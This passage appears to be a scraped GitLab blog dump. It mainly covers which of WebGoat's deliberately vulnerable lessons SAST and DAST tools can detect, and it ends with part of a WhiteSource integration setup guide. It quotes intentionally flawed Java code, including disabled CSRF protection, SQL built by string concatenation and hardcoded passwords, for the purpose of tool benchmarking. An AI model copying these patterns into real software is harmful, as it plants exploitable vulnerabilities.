webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java\n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that is not protected by anti-CSRF measures.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java#L49-51\n\n@RequestMapping(path = \"/csrf/basic-get-flag\", produces = {\"application/json\"}, method = RequestMethod.POST)\n@ResponseBody\npublic Map\u003CString, Object> invoke(HttpServletRequest req) {\n    ...\n\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java#L45-47\n\n@PostMapping(path = \"/csrf/confirm-flag-1\", produces = {\"application/json\"})\n@ResponseBody\npublic AttackResult completed(String confirmFlagVal) {\n...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled, it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework, it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. Most DAST tools will likely flag both the `/WebGoat/csrf/basic-get-flag` and `/WebGoat/csrf/confirm-flag-1` as being vulnerable.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Post a review on someone else’s behalf\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/3\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that includes a weak form of anti-CSRF measures, as the CSRF token is a hardcoded value. \n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java#L78-102\n\npublic AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {\n    final String host = (request.getHeader(\"host\") == null) ? \"NULL\" : request.getHeader(\"host\");\n    final String referer = (request.getHeader(\"referer\") == null) ? \"NULL\" : request.getHeader(\"referer\");\n    final String[] refererArr = referer.split(\"/\");\n\n    Review review = new Review();\n    review.setText(reviewText);\n    review.setDateTime(DateTime.now().toString(fmt));\n    review.setUser(webSession.getUserName());\n    review.setStars(stars);\n    var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList\u003C>());\n    reviews.add(review);\n    userReviews.put(webSession.getUserName(), reviews);\n    //short-circuit\n    if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {\n        return failed(this).feedback(\"csrf-you-forgot-something\").build();\n    }\n    //we have the spoofed files\n    if (referer != \"NULL\" && refererArr[2].equals(host)) {\n        return failed(this).feedback(\"csrf-same-host\").build();\n    } else {\n        return success(this).feedback(\"csrf-review.success\").build(); //feedback(\"xss-stored-comment-failure\")\n    }\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. Most likely a SAST tool will completely ignore the hard coded value check.\n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool may be confused by the seemingly configured CSRF token, when in reality the value is hard coded. A DAST tool will need to do an active request and compare the results to see if the CSRF token is ever updated/changed.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > CSRF and content-type\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/6\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form that calls an endpoint which doesn't validate the content-type properly. Newer browsers will append a `=` to the end of `text/plain` forms where only the name value exists. This form is still vulnerable to CSRF if attackers use `XMLHttpRequest` or `navigator.sendBeacon`.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java#L57-74\n\npublic AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {\n        try {\n            objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);\n            objectMapper.readValue(feedback.getBytes(), Map.class);\n        } catch (IOException e) {\n            return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();\n        }\n        boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE);\n        correctCSRF &= hostOrRefererDifferentHost(request);\n        if (correctCSRF) {\n            String flag = UUID.randomUUID().toString();\n            userSessionData.setValue(\"csrf-feedback\", flag);\n            return success(this).feedback(\"csrf-feedback-success\").feedbackArgs(flag).build();\n    ...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF regardless of content-type.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Login CSRF attack\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/7\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form to force a victim to login under the attackers account.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java#50-57\n\npublic AttackResult completed(HttpServletRequest request) {\n    String userName = request.getUserPrincipal().getName();\n    if (userName.startsWith(\"csrf\")) {\n        markAssignmentSolvedWithRealUser(userName.substring(\"csrf-\".length()));\n        return success(this).feedback(\"csrf-login-success\").build();\n    }\n    return failed(this).feedback(\"csrf-login-failed\").feedbackArgs(userName).build();\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > Change the URL to display Jerry\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/1\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java\n\n**Lesson:**\n\nThis lesson does not contain a real vulnerability, it is only for demonstration purposes for modifying parameters.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java#44-66\n\nprotected AttackResult stealTheCheese(String url) {\n    try {\n        StringBuffer html = new StringBuffer();\n\n        if (url.matches(\"images/tom.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Tom\\\" src=\\\"images/tom.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.tom\")\n                    .output(html.toString())\n                    .build();\n        } else if (url.matches(\"images/jerry.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Jerry\\\" src=\\\"images/jerry.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return success(this)\n                    .feedback(\"ssrf.success\")\n                    .output(html.toString())\n                    .build();\n        } else {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Silly Cat\\\" src=\\\"images/cat.jpg\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.failure\")\n                    .output(html.toString())\n                    .build();\n        }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues, it simply does a string match and returns different results.\n\n**DAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > \n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/2\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\n\n**Lesson:**\n\nThis lesson is for exploiting SSRF but limits the user to a single URL that must exactly match `http://ifconfig.pro`.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java#L49-74\n\nprotected AttackResult furBall(String url) {\n        try {\n            StringBuffer html = new StringBuffer();\n\n            if (url.matches(\"http://ifconfig.pro\")) {\n                URL u = new URL(url);\n                URLConnection urlConnection = u.openConnection();\n                BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();\n\n                return success(this)\n                        .feedback(\"ssrf.success\")\n                        .output(html.toString())\n                        .build();\n            } else {\n                html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"image post\\\" src=\\\"images/cat.jpg\\\">\");\n                return failed(this)\n                        .feedback(\"ssrf.failure\")\n                        .output(html.toString())\n                        .build();\n            }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool may report that this endpoint is vulnerable due to the user provided `url` parameter being used in a `URLConnection.openConnection()` call. In reality, this is not an exploitable flaw since the URL must exactly match `http://ifconfig.pro`\n\n**DAST Reasoning:**\n\nA DAST tool attempting SSRF injection attacks will most likely use a callback server to receive a forced request from the target application. Since the value is technically hardcoded, there is no way for a DAST tool to know if the endpoint is using a user provided value in construction of the `URLConnection.openConnection()` call.\n\n---\n\u003C/details>\n\n## Client side\n\n---\n\nThese lessons are just demonstrations of bypassing client side restrictions – since there is no real business logic to exploit they do not contain any real exploitable flaws. \n\n---\n\n## Challenges\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### Challenges > Admin lost password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge1.lesson/1\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the hidden pin code embedded in the logo and replace the hardcoded password's 1234 with the value. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java#L23-37\n\nprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException {\n\n    byte[] in = new ClassPathResource(\"images/webgoat2.png\").getInputStream().readAllBytes();\n\n    String pincode = String.format(\"%04d\", PINCODE);\n\n    in[81216]=(byte) pincode.charAt(0);\n    in[81217]=(byte) pincode.charAt(1);\n    in[81218]=(byte) pincode.charAt(2);\n    in[81219]=(byte) pincode.charAt(3);\n\n    response.setContentType(MediaType.IMAGE_PNG_VALUE);\n    FileCopyUtils.copy(in, response.getOutputStream());\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is no real vulnerability here for a SAST tool to alert on that would match the purpose of the assignment. However, SAST tools will most likely flag hardcoded credentials in `SolutionConstants.java`.\n\n**DAST Reasoning:**\n\nThere is no real vulnerability here for a DAST tool to alert on that would match the purpose of the assignment. \n\n---\n\n### Challenges > Without password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge5.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\n\n**Challenge:**\n\nThe purpose of this challenge is to login as `Larry` without knowing his password. This can be achieved by exploiting a SQL Injection vulnerability. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java#L51-68\n\npublic AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed(this).feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed(this).feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n        try (var connection = dataSource.getConnection()) {\n            PreparedStatement statement = connection.prepareStatement(\"select password from challenge_users where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n            ResultSet resultSet = statement.executeQuery();\n\n            if (resultSet.next()) {\n                return success(this).feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n            } else {\n                return failed(this).feedback(\"challenge.close\").build();\n            }\n        }\n    }\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, `username_login` and `password_login` fields are dynamically inserted into the query statement. A SAST tool should identify that the query string is concatenated with user input on line 59.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely not find this vulnerability due to the username being checked against the hardcoded `Larry` value. A DAST tool would need to be configured for this particular page to use the `Larry` username, and then attempt SQL Injection.\n\n---\n\n### Challenges > Admin password reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge7.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the synthetic `.git` repository accessible at the `/WebGoat/challenge/7/.git` endpoint. Then extract the git files, decompile classes and run them to generate the password reset link password. \n\n```\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/7/.git\", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)\n@ResponseBody\npublic ClassPathResource git() {\n    return new ClassPathResource(\"challenge7/git.zip\");\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible (different issue)\n\n**SAST Reasoning:**\n\nThis is a fake vulnerability that hard codes a git index file to a spring `GetMapping` endpoint. However, a SAST tool would most likely flag the hardcoded credentials in `SolutionConstants.java` on line 36.\n\n**DAST Reasoning:**\n\nDAST tools commonly look for backup or known files, `.git` is usually ne of them. A DAST tool would attempt to find these files in each directory path and should report that the `/WebGoat/challenge/7/.git` git index is accessible. While it may attempt to decompile classes it would be unable to know that it's necessary to run a particular file.\n\n---\n\n### Challenges > Without account\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge8.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge8/Assignment8.java\n\n**Challenge:**\n\nThe purpose of this challenge is to add a vote without logging in. This is a synthetic vulnerability due to the fact that it only checks if the request is a `GET` request but there's no real authorization checks. It is \"exploitable\" because it does not account for `HEAD` request method types.\n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/8/vote/{stars}\", produces = MediaType.APPLICATION_JSON_VALUE)\n    @ResponseBody\n    public ResponseEntity\u003C?> vote(@PathVariable(value = \"stars\") int nrOfStars, HttpServletRequest request) {\n        //Simple implementation of VERB Based Authentication\n        String msg = \"\";\n        if (request.getMethod().equals(\"GET\")) {\n            var json = Map.of(\"error\", true, \"message\", \"Sorry but you need to login first in order to vote\");\n            return ResponseEntity.status(200).body(json);\n        }\n        Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);\n        votes.put(nrOfStars, allVotesForStar + 1);\n        return ResponseEntity.ok().header(\"X-Flag\", \"Thanks for voting, your flag is: \" + Flag.FLAGS.get(8)).build();\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSince this is a synthetic vulnerability with no references to any authorization frameworks, there is nothing for a SAST tool to look for.\n\n**DAST Reasoning:**\n\nA DAST tool may attempt to switch request method types and do differential analysis to see if a `HEAD` request illicit a different response than a `GET` request.\n\n---\n\n\u003C/details>\n\n## Flaws outside of lessons\n\nThere are a large number of flaws that are not necessarily part of the lesson. However, SAST and DAST tools may still report on these issues as they are exploitable. \n\nSince tools will report on these issues, it is important to have a full set of all actual vulnerabilities that exist in WebGoat, or in any system used for benchmarking. \n\n## Conclusion\n\nWhile in GitLab's proprietary format, we decided to release our results so that other organizations using WebGoat as a target can identify which flaws are legitimate for both [SAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-sast-results.json) and [DAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-dast-results.json) based discovery. \n\nWebGoat is an excellent tool for learning about web application security. If your organization decides to use it to compare DAST and SAST tools you must be aware of the limitations and caveats during your analysis. \n\nWebGoat is by no means a \"real application\", while it does contain a common structure of a Spring Boot based application, its flaws are sometimes synthetic and code flow is not indicative of how real applications are built.\n\nGitLab recommends using more than one application as apart of your benchmarking process. This should include multiple languages, features and the levels of complexity that matches the applications used in your organization.\n\nCover image by [Bannon Morrissy](https://unsplash.com/@bannon15) on [Unsplash](https://unsplash.com)",[14,1212,2093],{"slug":4449,"featured":6,"template":677},"how-to-benchmark-security-tools","content:en-us:blog:how-to-benchmark-security-tools.yml","How To Benchmark Security Tools","en-us/blog/how-to-benchmark-security-tools.yml","en-us/blog/how-to-benchmark-security-tools",{"_path":4455,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4456,"content":4462,"config":4467,"_id":4469,"_type":16,"title":4470,"_source":17,"_file":4471,"_stem":4472,"_extension":20},"/en-us/blog/whitesource-for-dependency-scanning",{"title":4457,"description":4458,"ogTitle":4457,"ogDescription":4458,"noIndex":6,"ogImage":4459,"ogUrl":4460,"ogSiteName":767,"ogType":768,"canonicalUrls":4460,"schema":4461},"How to secure your dependencies with GitLab and WhiteSource","We walk you through how to configure WhiteSource in your GitLab instance to enhance your application security.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663445/Blog/Hero%20Images/snowymtns.jpg","https://about.gitlab.com/blog/whitesource-for-dependency-scanning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure your dependencies with GitLab and WhiteSource\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2020-08-10\",\n      }",{"title":4457,"description":4458,"authors":4463,"heroImage":4459,"date":4464,"body":4465,"category":14,"tags":4466},[856],"2020-08-10","\nGitLab's WhiteSouce integration empowers developers to enhance application security\ndirectly within the GitLab UI. The integration provides dependency scanning with\nin-depth analysis, along with actionable insights, and auto-remediation. WhiteSource for\nGitLab enhances your team's productivity, security, and compliance.\n\n[Rhys Arkins](https://twitter.com/rarkins?lang=en), Product Director at WhiteSource, and I hosted a webinar on \"[Harnessing development to scale AppSec](/webcast/scalable-secure-ci/)\"\nshowcasing the features of GitLab's WhiteSource integration for open source dependency scanning.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n\u003Ciframe src=\"https://www.youtube-nocookie.com/embed/yJpE_ACt9og\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThis blog post will guide you through setting up WhiteSource in your private GitLab instance\nand show you how the integration with WhiteSource enhances your application's security within GitLab.\n\n## Installing the WhiteSource integration\n\nFirst, let's go over how to install the WhiteSource integration. In this section, I will review how to\nset up GitLab service credentials, generate a WhiteSource configuration,\nbuild WhiteSource containers, and how to run them in a Kubernetes cluster.\n\n### Requirements for WhiteSource integration\n\nBut first, the WhiteSource integration requires that you have the following setup:\n\n- [GitLab on-prem instance](/pricing/#self-managed): The GitLab instance where the WhiteSource integration will run.\n- [WhiteSource account](https://www.whitesourcesoftware.com/whitesource-pricing/): Provides access to the WhiteSource integration.\n- [Kubernetes cluster](/solutions/kubernetes/): Deploys the WhiteSource containers.\n\n### Create GitLab service credentials\n\nThe next step is to create GitLab service credentials. This can be accomplished in three simple steps:\n\n- In your GitLab instance, go to `Admin Area > System Hooks` and create a system hook as follows:\n    - **URL:** `https://whitesource.INGRESS_URL.com/payload`\n    - **Secret Token:** Make up a token, you can use `openssl rand -base64 12`\n    - **Trigger:** All except `Tag push events`\n    - **Enable SSL Verification:** `Yes`\n\n  Note: Make sure you save the secret token for use in the next section.\n- Create a user named `@whitesource`, with a developer role. An email is not required.\n- As the `@whitesource` user, go to `Settings > Access tokens` and create a personal access token:\n    - **Name:** `WhiteSourceToken`\n    - **Scopes:** `all`\n- Remember to save the access token for use in the next section.\n\n### Generate the WhiteSource configuration\n\nNext, we generate the WhiteSource configuration, which is used to configure the WhiteSource integration containers.\nThis can be done in a few simple steps:\n\n- Login to [WhiteSource](https://saas.whitesourcesoftware.com/Wss/WSS.html#!login) and click on\nthe `Integrate` tab.\n\n![whitesource webpage view](https://about.gitlab.com/images/whitesource-integration/whitesource_webpage_view.png)\nWhiteSource mainpage\n{: .note.text-center}\n\n- Expand the `WhiteSource for GitLab server` bar and fill the following:\n    - **GitLab Server API URL:** `https://GITLAB_SERVER_URL/api/v4`\n    - **GitLab Webhook URL:** `https://whitesource.INGRESS_URL.com/payload`\n    - **GitLab Webhook secret:** Use the same secret generated in GitLab credentials section\n    - **GitLab personal access token:** `@whitesource` user access token\n\n![whitesource integration view](https://about.gitlab.com/images/whitesource-integration/whitesource_integration_setup.png)\nWhiteSource integrations page\n{: .note.text-center}\n\n- Press `Get Activation Key` and copy the generated key\n- Open the [wss-configurator](https://gitlab.com/fjdiaz/whitesource-helm/-/blob/master/whitesource/wss-configuration/index.html) with your browser\n- Select `Export` from the menu, and select the [prop.json](https://gitlab.com/fjdiaz/whitesource-helm/-/blob/master/whitesource/wss-configuration/config/prop.json)\n- Click on the `General` tab\n- Paste the generated key and click `Export` to save a new `prop.json` file\n\n### Build the WhiteSource containers\n\n- Move the generated prop.json from the previous section to [wss-gls-app](https://gitlab.com/fjdiaz/whitesource-helm/-/tree/master/whitesource/wss-gls-app/docker/conf), [wss-remediate](https://gitlab.com/fjdiaz/whitesource-helm/-/tree/master/whitesource/wss-remediate/docker/src), and [wss-scanner](https://gitlab.com/fjdiaz/whitesource-helm/-/tree/master/whitesource/wss-scanner/docker/conf).\n- Build and push the Docker containers:\n\n```bash\n$ docker build -t wss-gls-app:19.12.2 whitesource/wss-gls-app/docker\n$ docker push wss-gls-app:19.12.2\n\n$ docker build -t wss-scanner:19.12.1.2 whitesource/wss-scanner/docker\n$ docker push wss-scanner:19.12.1.2\n\n$ docker build -t wss-remediate:19.12.2 whitesource/wss-remediate/docker\n$ docker push wss-remediate:19.12.2\n```\n\n### Running the WhiteSource containers\n\nGitLab provides native Kubernetes cluster integration. This means that GitLab allows you\nto deploy software from [GitLab CI/CD](/topics/ci-cd/) pipelines directly to your Kubernetes cluster.\n\nWhiteSource containers can be deployed and managed within the same Kubernetes cluster\nused to deploy your application, all by running a simple Helm commands.\n\n- Download the WhiteSource [Helm chart](https://gitlab.com/fjdiaz/whitesource-helm)\n- Edit [values.yaml](https://gitlab.com/fjdiaz/whitesource-helm/-/blob/master/helm/whitesource/values.yaml)\n- In vaules.yaml set `whitesource.ingress` to **https://whitesource.INGRESS_URL.com**\n\nYou can get the INGRESS_URL from your Kubernetes cluster settings\n\n![ingress url location](https://about.gitlab.com/images/whitesource-integration/base_domain.png)\nIngress URL location\n{: .note.text-center}\n\n- Make sure Ingress is installed.\n\n![ingress installation](https://about.gitlab.com/images/whitesource-integration/ingress_installation.png)\nInstalling Ingress\n{: .note.text-center}\n\n- Install [Helm](https://helm.sh/docs/intro/install/)\n- Deploy WhiteSource with Helm template:\n\n```bash\nhelm upgrade -f helm/whitesource/values.yaml --install whitesource-gitlab ./helm/whitesource\n```\n\n## Using WhiteSource\n\nOnce the WhiteSource plugin has been installed we can add the `@whitesource` user to the repositories\nwe wish to scan. A merge request (MR) with the `.whitesource` file will be generated automatically.\n\nWhiteSource will now scan your repository and generate issues for all the vulnerabilities discovered on the main (master)\nbranch. These issues will provide detailed information on the vulnerability as well as how to resolve it. Some issues\ncan even be auto-remediated.\n\n![whitesource issue view](https://about.gitlab.com/images/whitesource-integration/whitesource_issues.png)\nWhiteSource vulnerability issues\n{: .note.text-center}\n\nEach time a new MR is pushed, a WhiteSource scan will run, and provide a detailed output.\n\n![whitesource merge request view](https://about.gitlab.com/images/whitesource-integration/whitesource_merge_requests.png)\nWhiteSource MR scanning\n{: .note.text-center}\n\nEach link provided by WhiteSource shows detailed information on the vulnerabilities the scan detected:\n\n![whitesource web links](https://about.gitlab.com/images/whitesource-integration/whitesource_advanced_issues.png)\nWhiteSource vulnerability information\n{: .note.text-center}\n\nWhiteSource can be integrated into the [GitLab Security Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) so that your security team can manage the\nstatus of these vulnerabilites. Access to the Security Dashboard requires a [GitLab Ultimate account](/pricing/ultimate/).\n\nFor integrating WhiteSource to the Security Dashboard, add the following to the CI.yaml:\n\n```\nwhitesource-security-publisher:\n  image: openjdk:8-jdk\n  when: manual\n  script:\n    - curl \"{{WEBHOOK_URL}}/securityReport?repoId=$CI_PROJECT_ID&repoName=$CI_PROJECT_NAME&ownerName=$CI_PROJECT_NAMESPACE&branchName=$CI_COMMIT_REF_NAME&defaultBranchName=$CI_DEFAULT_BRANCH&commitId=$CI_COMMIT_SHA\" -o gl-dependency-scanning-report-ws.json\n  artifacts:\n    paths:\n      - gl-dependency-scanning-report-ws.json\n    reports:\n      dependency_scanning:\n        - gl-dependency-scanning-report-ws.json\n    expire_in: 30 days\n```\n\nFor more details on the integration checkout [WhiteSource for GitLab](https://whitesource.atlassian.net/wiki/spaces/WD/pages/806191420/WhiteSource+for+GitLab).\nLearn more at [DevSecOps](/solutions/security-compliance/) and checkout the [Secure direction page](/direction/secure/) for more\ninformation on the upcoming features and integrations.\n\n## Learn more about application security at GitLab\n\n- [How application security engineers can use GitLab to secure their projects](/blog/secure-stage-for-appsec/)\n- [Get better container security with GitLab: 4 real-world examples](/blog/container-security-in-gitlab/)\n- [How to capitalize on GitLab Security tools with external CI](https://docs.gitlab.com/ee/integration/jenkins.html)\n\nCover image by [Alexandra Avelar](https://unsplash.com/@alexandramunozavelar) on [Unsplash](https://unsplash.com/s/photos/snow-capped-mountains)\n{: .note}\n",[110,14,231,4311,2287],{"slug":4468,"featured":6,"template":677},"whitesource-for-dependency-scanning","content:en-us:blog:whitesource-for-dependency-scanning.yml","Whitesource For Dependency 